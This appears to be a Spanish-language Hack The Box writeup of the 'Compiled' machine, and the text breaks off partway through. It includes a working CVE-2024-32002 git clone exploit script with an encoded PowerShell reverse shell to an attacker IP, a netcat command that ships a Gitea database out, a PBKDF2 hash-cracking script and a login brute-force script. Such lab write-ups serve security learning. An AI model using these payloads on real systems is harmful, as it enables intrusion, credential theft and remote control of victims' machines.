Hack The Box: Compiled Writeup | Medium

Table of Contents

Hack The Box: Compiled

Welcome to my detailed writeup of the medium difficulty machine “Compiled” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

Primero escaneo todos los puertos por TCP con rustscan

1$ rustscan -a 10.129.255.250 --ulimit 5000 -g
210.129.255.250 -> [3000,5000,7680]

Luego hago un escaneo mas exhaustivo con nmap

  1$ nmap -p3000,5000,7680 -sCV 10.129.255.250 -Pn -oN allPorts
  2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-30 21:27 CEST
  3Nmap scan report for 10.129.255.250
  4Host is up (0.037s latency).
  5
  6PORT     STATE SERVICE    VERSION
  73000/tcp open  ppp?
  8| fingerprint-strings: 
  9|   GenericLines, Help, RTSPRequest: 
 10|     HTTP/1.1 400 Bad Request
 11|     Content-Type: text/plain; charset=utf-8
 12|     Connection: close
 13|     Request
 14|   GetRequest: 
 15|     HTTP/1.0 200 OK
 16|     Cache-Control: max-age=0, private, must-revalidate, no-transform
 17|     Content-Type: text/html; charset=utf-8
 18|     Set-Cookie: i_like_gitea=193f0f025a536eb6; Path=/; HttpOnly; SameSite=Lax
 19|     Set-Cookie: _csrf=eKtRD6QCEx476Nv2f_giC15R3ec6MTcyMjM2MDQ4NzY3NzcxMjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
 20|     X-Frame-Options: SAMEORIGIN
 21|     Date: Tue, 30 Jul 2024 17:28:07 GMT
 22|     <!DOCTYPE html>
 23|     <html lang="en-US" class="theme-arc-green">
 24|     <head>
 25|     <meta name="viewport" content="width=device-width, initial-scale=1">
 26|     <title>Git</title>
 27|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
 28|   HTTPOptions: 
 29|     HTTP/1.0 405 Method Not Allowed
 30|     Allow: HEAD
 31|     Allow: HEAD
 32|     Allow: GET
 33|     Cache-Control: max-age=0, private, must-revalidate, no-transform
 34|     Set-Cookie: i_like_gitea=0d76a4cf591abb3e; Path=/; HttpOnly; SameSite=Lax
 35|     Set-Cookie: _csrf=3fUSP1-VxrsgO-QVe5dhPf2B7jo6MTcyMjM2MDQ5MzEwODAyOTkwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
 36|     X-Frame-Options: SAMEORIGIN
 37|     Date: Tue, 30 Jul 2024 17:28:13 GMT
 38|_    Content-Length: 0
 395000/tcp open  upnp?
 40| fingerprint-strings: 
 41|   GetRequest: 
 42|     HTTP/1.1 200 OK
 43|     Server: Werkzeug/3.0.3 Python/3.12.3
 44|     Date: Tue, 30 Jul 2024 17:28:07 GMT
 45|     Content-Type: text/html; charset=utf-8
 46|     Content-Length: 5234
 47|     Connection: close
 48|     <!DOCTYPE html>
 49|     <html lang="en">
 50|     <head>
 51|     <meta charset="UTF-8">
 52|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
 53|     <title>Compiled - Code Compiling Services</title>
 54|     <!-- Bootstrap CSS -->
 55|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
 56|     <!-- Custom CSS -->
 57|     <style>
 58|     your custom CSS here */
 59|     body {
 60|     font-family: 'Ubuntu Mono', monospace;
 61|     background-color: #272822;
 62|     color: #ddd;
 63|     .jumbotron {
 64|     background-color: #1e1e1e;
 65|     color: #fff;
 66|     padding: 100px 20px;
 67|     margin-bottom: 0;
 68|     .services {
 69|   RTSPRequest: 
 70|     <!DOCTYPE HTML>
 71|     <html lang="en">
 72|     <head>
 73|     <meta charset="utf-8">
 74|     <title>Error response</title>
 75|     </head>
 76|     <body>
 77|     <h1>Error response</h1>
 78|     <p>Error code: 400</p>
 79|     <p>Message: Bad request version ('RTSP/1.0').</p>
 80|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
 81|     </body>
 82|_    </html>
 837680/tcp open  pando-pub?
 842 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
 85==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
 86SF-Port3000-TCP:V=7.94SVN%I=7%D=7/30%Time=66A93EB6%P=x86_64-pc-linux-gnu%r
 87SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
 88SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
 89SF:d\x20Request")%r(GetRequest,37D5,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
 90SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
 91SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
 92SF:ea=193f0f025a536eb6;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
 93SF:kie:\x20_csrf=eKtRD6QCEx476Nv2f_giC15R3ec6MTcyMjM2MDQ4NzY3NzcxMjcwMA;\x
 94SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
 95SF:ions:\x20SAMEORIGIN\r\nDate:\x20Tue,\x2030\x20Jul\x202024\x2017:28:07\x
 96SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
 97SF:me-arc-green\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt
 98SF:h=device-width,\x20initial-scale=1\">\n\t<title>Git</title>\n\t<link\x2
 99SF:0rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR2
100SF:l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21wa
101SF:WxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVk
102SF:Lmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l
103SF:6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMD
104SF:A")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
105SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
106SF:20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
107SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
108SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
109SF:et-Cookie:\x20i_like_gitea=0d76a4cf591abb3e;\x20Path=/;\x20HttpOnly;\x2
110SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=3fUSP1-VxrsgO-QVe5dhPf2B7jo6MTcyM
111SF:jM2MDQ5MzEwODAyOTkwMA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
112SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Tue,\x2030\x20J
113SF:ul\x202024\x2017:28:13\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
114SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
115SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
116SF:quest");
117==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
118SF-Port5000-TCP:V=7.94SVN%I=7%D=7/30%Time=66A93EB7%P=x86_64-pc-linux-gnu%r
119SF:(GetRequest,1521,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
120SF:\x20Python/3\.12\.3\r\nDate:\x20Tue,\x2030\x20Jul\x202024\x2017:28:07\x
121SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
122SF::\x205234\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20l
123SF:ang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\
124SF:x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\
125SF:x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Compiled\x20-\x20Code\
126SF:x20Compiling\x20Services</title>\n\x20\x20\x20\x20<!--\x20Bootstrap\x20
127SF:CSS\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"https
128SF:://stackpath\.bootstrapcdn\.com/bootstrap/4\.5\.2/css/bootstrap\.min\.c
129SF:ss\">\n\x20\x20\x20\x20<!--\x20Custom\x20CSS\x20-->\n\x20\x20\x20\x20<s
130SF:tyle>\n\x20\x20\x20\x20\x20\x20\x20\x20/\*\x20Add\x20your\x20custom\x20
131SF:CSS\x20here\x20\*/\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20
132SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20'Ubuntu\x20Mono
133SF:',\x20monospace;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20backg
134SF:round-color:\x20#272822;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
135SF:x20color:\x20#ddd;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20
136SF:\x20\x20\x20\x20\.jumbotron\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
137SF:x20\x20\x20background-color:\x20#1e1e1e;\n\x20\x20\x20\x20\x20\x20\x20\
138SF:x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
139SF:0\x20\x20\x20padding:\x20100px\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x
140SF:20\x20\x20\x20\x20margin-bottom:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x2
141SF:0}\n\x20\x20\x20\x20\x20\x20\x20\x20\.services\x20{\n\x20")%r(RTSPReque
142SF:st,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<hea
143SF:d>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x
144SF:20\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x2
145SF:0\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<
146SF:h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
147SF:code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x2
148SF:0request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\
149SF:x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x
150SF:20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\
151SF:n</html>\n");
152
153Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
154Nmap done: 1 IP address (1 host up) scanned in 99.56 seconds

Enumerating Web Services

El puerto 3000 corresponde a una instancia de Gitea, y nos podemos dar cuenta de que está habilitado el registro. Write-up Image

También detectamos dos repositorios, una calculadora simple en C++ y el código fuente del servicio del puerto 5000 Write-up Image

El puerto 5000 parece que corresponde a un servicio web

Vamos a echar un vistazo con whatweb y vemos que el servicio del puerto 5000 corresponde a un servidor web que por detrás emplea Flask.

1$ whatweb http://10.129.255.250:5000
2http://10.129.255.250:5000 [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.129.255.250], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3

Esta es la pinta que tiene la página principal. Write-up Image

Tras enumerar el servicio web, no hay nada interesante. Pero me pide una URL de un repositorio de git para, supuestamente, compilar mi código que tiene que ser C++, C# o .NET Write-up Image

Foothold

Weaponizing Visual Studio project (failed)

Esto me recuerda mucho a la máquina Visual Así que ya me imagino por donde puede ir la explotación, para la máquina Visual necesitabamos hostear el repositorio con Gitea ya que era lo mas fácil, pero aquí ya tenemos hasta el Gitea levantado por el puerto 3000 y nos podemos hacer una cuenta.

Volviendo al Gitea, podemos ver el archivo app.py que corresponde con este servicio.

 1from flask import Flask, request, render_template, redirect, url_for
 2import os
 3
 4app = Flask(__name__)
 5
 6# Configuration
 7REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'
 8
 9@app.route('/', methods=['GET', 'POST'])
10def index():
11    error = None
12    success = None
13    if request.method == 'POST':
14        repo_url = request.form['repo_url']
15        if # Add a sanitization to check for valid Git repository URLs.
16            with open(REPO_FILE_PATH, 'a') as f:
17                f.write(repo_url + '\n')
18            success = 'Your git repository is being cloned for compilation.'
19        else:
20            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
21    return render_template('index.html', error=error, success=success)
22
23if __name__ == '__main__':
24    app.run(host='0.0.0.0', port=5000)

Si nos damos cuenta, el funcionamiento es que primero comprueba si es un repositorio válido (que en ese momento parece que no estaba añadida la sanitización de la URL), y acto seguido escribe esta URL en C:\Users\Richard\source\repos\repos.txt y supongo que habrá alguna tarea por detrás o habrá alguna actualización en el código para después compilarlo.

También podemos saber que cuando ganemos acceso a la máquina probablemente lo ganemos como el usuario Richard

En el repositorio Calculator vemos el siguiente código

 1// Created by Richard Goodman (contact me at richard@compiled.htb)
 2
 3#include <iostream>
 4#include <cmath>
 5
 6using namespace std;
 7
 8int main()
 9{
10	// Variables
11	string operation;
12	double number1, number2;
13
14	// Input
15	cout << "Enter first number: ";
16	cin >> number1;
17	cout << "Enter operation (+, -, *, /): ";
18	cin >> operation;
19	cout << "Enter second number: ";
20	cin >> number2;
21
22	// if else statement checking entered operation
23	if (operation == "+") {
24		cout << number1 + number2;
25	}
26	else if (operation == "-") {
27		cout << number1 - number2;
28	}
29	else if (operation == "*") {
30		cout << number1 * number2;
31	}
32	else if (operation == "/") {
33		cout << number1 / number2;
34	}
35	else {
36		cout << "Not recognized either operation or number:(";
37	}
38
39	return 0;
40}

Esto no nos sirve de nada, pero el proyecto nos sirve para poder añadir la propiedad.

Nos creamos una cuenta en el Gitea y creamos un repositorio. Write-up Image

Ahora nos clonamos el repositorio original de Calculator y tenemos que modificar el archivo Calculator.vcxproj

Agregué esta linea, hice un commit al repositorio y…

1  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
2    <Exec Command="ping 10.10.14.71" />
3  </Target>

No conseguimos ejecución remota de comandos, así que toca buscar una forma alternativa de conseguir RCE.

1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
4^C
50 packets captured
60 packets received by filter
70 packets dropped by kernel

Enumerando un poco mas el repositorio de Calculator vemos que en el README.md se encuentra lo siguiente.

1C:\Users\Richard> git --version
2git version 2.45.0.windows.1
3C:\Users\Richard>

Y vemos que hay una vulnerabilidad de tipo RCE. Write-up Image

Abusing CVE-2024-32002 (Remote Command execution via git clone)

Esta vulnerabilidad se basa en crear un repositorio malicioso, y si la víctima clona este repositorio con el parámetro --recursive podría ejecutar hooks que estén contemplados en los submódulos del repositorio y conseguir RCE. La vulnerabilidad existe por la forma en la que Git gestiona los enlaces simbólicos en los submódulos de los repositorios.

Voy a utilizar este PoC

Primero nos vamos a crear un repositorio que se llame hook Write-up Image

Luego otro que se llame incredibol (por ejemplo) Write-up Image

Ahora, nos podemos descargar este archivo .sh del creador del artículo anteriormente mencionado. https://github.com/amalmurali47/git_rce/blob/main/create_poc.sh

Modificamos el script para ejecutar un comando en windows y adaptamos el nombre de los repositorios..

 1#!/bin/bash
 2
 3git config --global protocol.file.allow always
 4git config --global core.symlinks true
 5
 6hook_repo_path="http://10.129.255.250:3000/pointedsec/hook.git"
 7
 8git clone "$hook_repo_path"
 9cd hook
10mkdir -p y/hooks
11
12cat > y/hooks/post-checkout <<EOF
13powershell ping 10.10.14.71
14EOF
15
16chmod +x y/hooks/post-checkout
17
18git add y/hooks/post-checkout
19
20git commit -m "post-checkout"
21git push
22
23cd ..
24
25incredibol_repo_path="http://10.129.255.250:3000/pointedsec/incredibol.git"
26
27git clone "$incredibol_repo_path"
28cd incredibol
29git submodule add --name x/y "$hook_repo_path" A/modules/x
30git commit -m "add-submodule"
31
32printf ".git" > dotgit.txt
33git hash-object -w --stdin < dotgit.txt > dot-git.hash
34printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
35git update-index --index-info < index.info
36
37git commit -m "add-symlink"
38git push

Ejecutamos el script, y una vez termine, simplemente le tenemos que pasar el repositorio incredibol para que intente compilarlo en la máquina víctima. Write-up Image

¡Y tenemos RCE!

 1$ sudo tcpdump icmp -i tun0
 2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
 3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
 4
 522:21:24.079142 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 1, length 40
 622:21:24.079166 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 1, length 40
 722:21:25.088732 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 2, length 40
 822:21:25.088755 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 2, length 40
 922:21:26.092072 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 3, length 40
1022:21:26.092092 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 3, length 40
1122:21:27.094250 IP 10.129.255.250 > 10.10.14.71: ICMP echo request, id 1, seq 4, length 40
1222:21:27.094269 IP 10.10.14.71 > 10.129.255.250: ICMP echo reply, id 1, seq 4, length 40

Ahora voy a crear de nuevo los repositorios y vamos a modificar el script para establecernos una reverse shell.

 1#!/bin/bash
 2
 3git config --global protocol.file.allow always
 4git config --global core.symlinks true
 5
 6hook_repo_path="http://10.129.255.250:3000/pointedsec/hook.git"
 7
 8git clone "$hook_repo_path"
 9cd hook
10mkdir -p y/hooks
11
12cat > y/hooks/post-checkout <<EOF
13#!/bin/bash
14ping 10.10.14.71
15powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANwAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
16EOF
17
18chmod +x y/hooks/post-checkout
19
20git add y/hooks/post-checkout
21
22git commit -m "post-checkout"
23git push
24
25cd ..
26
27incredibol_repo_path="http://10.129.255.250:3000/pointedsec/incredibol.git"
28
29git clone "$incredibol_repo_path"
30cd incredibol
31git submodule add --name x/y "$hook_repo_path" A/modules/x
32git commit -m "add-submodule"
33
34printf ".git" > dotgit.txt
35git hash-object -w --stdin < dotgit.txt > dot-git.hash
36printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
37git update-index --index-info < index.info
38
39git commit -m "add-symlink"
40git push

Ahora si pasamos el repositorio a la aplicación…

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3
4connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51683
5PS C:\Users\Richard\source\cloned_repos\u1our\.git\modules\x> whoami
6Richard

En el directorio Documents de Richard, podemos ver el script utilizado para clonar los repositorios.

 1#!/bin/bash
 2
 3# Define the file containing repository URLs
 4repos_file="C:/Users/Richard/source/repos/repos.txt"
 5
 6# Specify the path where you want to clone the repositories
 7clone_path="C:/Users/Richard/source/cloned_repos"
 8
 9# Check if the file exists
10if [ ! -f "$repos_file" ]; then
11    echo "Error: Repositories file $repos_file not found."
12    exit 1
13fi
14
15# Create the clone path if it doesn't exist
16mkdir -p "$clone_path"
17
18# Loop through each repository URL in the file and clone it
19while IFS= read -r repo_url; do
20    if [[ ! -z "${repo_url}" ]]; then
21        repo_name=$(head /dev/urandom | tr -dc a-z0-9 | head -c 5)
22        echo "Cloning repository: $repo_url"
23        git clone --recursive "$repo_url" "$clone_path/$repo_name"
24        echo "Repository cloned."
25    fi
26done < "$repos_file"
27
28echo -n > "$repos_file"
29echo "All repositories cloned successfully to $clone_path."
30
31# Cleanup Section
32 
33# Define the folder path
34folderPath="C:/Users/Richard/source/cloned_repos"
35
36# Check if the folder exists
37if [ -d "$folderPath" ]; then
38  echo "Deleting contents of $folderPath..."
39
40  # Delete all files in the folder
41  find "$folderPath" -mindepth 1 -type f -delete
42
43  # Delete all directories and subdirectories in the folder
44  find "$folderPath" -mindepth 1 -type d -exec rm -rf {} +
45
46  echo "Contents of $folderPath have been deleted."
47else
48  echo "Folder $folderPath not found."
49fi

Y podemos ver que a la hora de clonar el repositorio, se utiliza el --recursive que es lo que nos habilita hacer esta explotación.

User Pivoting | Emily

Primero nos damos cuenta de que no está la flag en el directorio personal de trabajo de Richard Enumerando usuarios nos damos cuenta de la existencia de un usuario llamado Emily

1PS C:\Windows\Temp\work> net user
2
3User accounts for \\COMPILED
4
5-------------------------------------------------------------------------------
6Administrator            DefaultAccount           Emily                    
7Invitado                 Richard                  WDAGUtilityAccount

Enumerando un poco la máquina, vemos que en el directorio Program Files está el Gitea

En el directorio data encontramos un archivo gitea.db

Me voy a compartir el netcat y me paso este archivo a mi máquina.

PS C:\Windows\Temp\work> cmd /c ".\nc.exe 10.10.14.71 443 < gitea.db"

Y al analizar la base de datos nos encontramos esto.

1sqlite> select * from user;
21|administrator|administrator||administrator@compiled.htb|0|enabled|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|0|0|0||0|||6e1a6f3adbe7eab92978627431fd2984|a45c43d36dce3076158b19c2c696ef7b|en-US||1716401383|1716669640|1716669640|0|-1|1|1|0|0|0|1|0||administrator@compiled.htb|0|0|0|0|0|0|0|0|0||arc-green|0
32|richard|richard||richard@compiled.htb|0|enabled|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|0|0|0||0|||2be54ff86f147c6cb9b55c8061d82d03|d7cf2c96277dd16d95ed5c33bb524b62|en-US||1716401466|1720089561|1720089548|0|-1|1|0|0|0|0|1|0||richard@compiled.htb|0|0|0|0|2|0|0|0|0||arc-green|0
44|emily|emily||emily@compiled.htb|0|enabled|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|1|0|0||0|||0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486|||1716565398|1716567763|0|0|-1|1|0|0|0|0|1|0||emily@compiled.htb|0|0|0|0|0|0|0|2|0||arc-green|0
56|pointedsec|pointedsec||pointedsec@pointed.com|0|enabled|9e8b5c3188f2affd979da0985ca3f65b0b7b9b920283a2f1583d81653314beec03963da08e164a1bace8b21a74c1d15d7511|pbkdf2$50000$50|0|0|0||0|||4641ac98587ae4fae05fe9b588034b66|bdafe008c0a70c14d790894bc68547ff|en-US||1722361346|1722366996|1722361346|0|-1|1|0|0|0|0|1|0||pointedsec@pointed.com|0|0|0|0|3|0|0|0|0|unified|arc-green|0

Existe el usuario emily y tenemos un hash pbkdf2

Para crackear este hash, tenemos que diferenciar los diferentes campos que se utilizan para encriptar la contraseña.

1sqlite> select name, passwd, rands, salt  from user where name = "emily";
2emily|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486

Tras un rato intentando crackear los hashes obtenidos con hashcat me ha resultado imposible, y después de enumerar mas a fondo la máquina víctima, no me quedaba otra que seguir intentando crackear el hash, preferiblemente el de emily ya que al ser un CTF, lo mas probable es que la manera intencionada de completar la máquina sea haciendo un pivoting a este usuario.

Después de estudiar como funcionan este tipo de hashes, hice un script en python para crackear este hash.

Antes de dejar el script por aquí, hay que tener en cuenta el valor dklen que también es importante. Este valor es 50. Después del script explico todo mas detalladamente.

pbkdf2$50000$50

 1#!/usr/bin/python3
 2import hashlib
 3import binascii
 4from pwn import *
 5
 6salt = "227d873cca89103cd83a976bdac52486" # Este salt está en hexadecimal
 7key = "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16"
 8real_hashed_pwd = f"{salt}:{key}"
 9rockyou = "/usr/share/wordlists/rockyou.txt"
10
11def pbkdf2(pwd, salt, iterations, dklen):
12    # Creamos un objeto del hash, la pwd tiene que estar en formato bytes y el salt sin hexadecimal, por eso hacemos un binascii.unhexlify
13    hash = hashlib.pbkdf2_hmac('sha256', pwd, binascii.unhexlify(salt), iterations, dklen).hex()
14    return f"{salt}:{hash}"
15    
16def crack():
17    p = log.progress("Bruteforcing...")
18    with open(rockyou, "r", encoding="utf-8") as file:
19        for pwd in file:
20            p.status("Probando " + pwd.strip())
21            hash = pbkdf2(pwd.strip().encode(), salt, 50000, 50)
22            if (hash == real_hashed_pwd):
23                p.success("The motherfucking password ha sido crackeada: " + pwd)
24                break
25
26if __name__ == "__main__":
27    crack()

La función realiza lo siguiente:

  1. Convierte el salt de hexadecimal a binario.
  2. Genera un hash utilizando hashlib.pbkdf2_hmac con los parámetros especificados.
  3. Convierte el hash resultante a hexadecimal y lo combina con la sal en el formato salt:hash

Y ahora…

1$ python3 crack.py 
2[+] Bruteforcing...: The motherfucking password ha sido crackeada: 12345678

Perfecto, esta debe de ser la credencial de Emily.

Lateralmente podríamos haber hecho fuerza bruta al Gitea y probablemente hubieramos tardado menos en conseguir esta credencial.

De hecho, he hecho un script para hacer fuerza bruta y en términos de ahorro de tiempo, hubiera salido mas rentable.

 1#!/usr/bin/python3
 2import requests
 3from pwn import *
 4import signal
 5
 6username = "emily"
 7base_url = "http://10.129.255.250:3000/user/login"
 8rockyou = "/usr/share/wordlists/rockyou.txt"
 9
10def def_handler(a, b):
11    print("[x] Saliendo...")
12    exit(0)
13
14signal.signal(signal.SIGINT, def_handler)
15
16def do_request(username, pwd):
17    s = requests.Session()
18    r = s.get(base_url)
19    headers = {
20        "Content-Type": "application/x-www-form-urlencoded"
21    }
22    data = {
23        "_csrf" : r.cookies['_csrf'],
24        "user_name": username,
25        "password": pwd
26    }
27    res = s.post(base_url, headers=headers, data=data)
28    if ("Username or password is incorrect." not in res.text):
29        return True
30    return False
31    
32def brute():
33    p = log.progress("Bruteforcing...")
34    with open(rockyou, "r", encoding="utf-8") as file:
35        for pwd in file:
36            p.status("Probando: " + pwd)
37            password = pwd.strip()
